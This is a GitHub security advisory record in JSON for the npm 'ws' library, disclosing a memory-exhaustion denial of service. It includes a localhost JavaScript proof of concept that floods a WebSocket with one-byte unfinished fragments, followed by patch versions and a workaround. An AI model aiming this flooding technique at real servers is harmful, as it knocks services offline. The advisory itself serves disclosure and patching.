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‎advisories/github-reviewed/2026/06/GHSA-96hv-2xvq-fx4p/GHSA-96hv-2xvq-fx4p.json‎

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{
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"schema_version": "1.4.0",
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"id": "GHSA-96hv-2xvq-fx4p",
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"modified": "2026-06-15T16:34:23Z",
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"published": "2026-06-15T16:34:23Z",
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"aliases": [
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"CVE-2026-48779"
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],
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"summary": "ws: Memory exhaustion DoS from tiny fragments and data chunks",
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"details": "### Impact\n\nA high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.\n\n### Proof of concept\n\n```js\nimport { WebSocket, WebSocketServer } from 'ws';\n\nconst wss = new WebSocketServer({ port: 0 }, function () {\n const data = Buffer.alloc(1);\n const options = { fin: false };\n const { port } = wss.address();\n const ws = new WebSocket(`ws://localhost:${port}`);\n\n ws.on('open', function () {\n (function send() {\n ws.send(data, options, function (err) {\n if (err) return;\n send();\n });\n })();\n });\n\n ws.on('error', console.error);\n ws.on('close', function (code, reason) {\n console.log(`client close - code: ${code} reason: ${reason.toString()}`);\n });\n});\n\nwss.on('connection', function (ws) {\n ws.on('error', console.error);\n ws.on('close', function (code, reason) {\n console.log(`server close - code: ${code} reason: ${reason.toString()}`);\n });\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by lowering the value of the `maxPayload` option if possible.\n\n### Credits\n\nThe vulnerability was responsibly disclosed and fixed by [Nadav Magier](https://github.com/Nadav0077).",
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"severity": [
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{
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"type": "CVSS_V3",
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"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "npm",
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"name": "ws"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "1.1.0"
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},
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{
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"fixed": "5.2.5"
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}
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]
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}
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]
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},
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{
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"package": {
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"ecosystem": "npm",
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"name": "ws"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "6.0.0"
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},
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{
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"fixed": "6.2.4"
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}
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]
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}
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]
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},
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{
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"package": {
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"ecosystem": "npm",
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"name": "ws"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "7.0.0"
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},
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{
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"fixed": "7.5.11"
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}
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]
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}
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]
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},
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{
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"package": {
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"ecosystem": "npm",
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"name": "ws"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "8.0.0"
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},
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{
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"fixed": "8.21.0"
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}
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]
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}
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]
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p"
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},
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{
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"type": "WEB",
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"url": "https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7"
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},
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{
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"type": "WEB",
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"url": "https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53"
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},
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{
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"type": "WEB",
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"url": "https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94"
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},
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{
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"type": "WEB",
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"url": "https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/websockets/ws"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-400",
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"CWE-770"
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],
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"severity": "HIGH",
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"github_reviewed": true,
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"github_reviewed_at": "2026-06-15T16:34:23Z",
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"nvd_published_at": null
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}
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}

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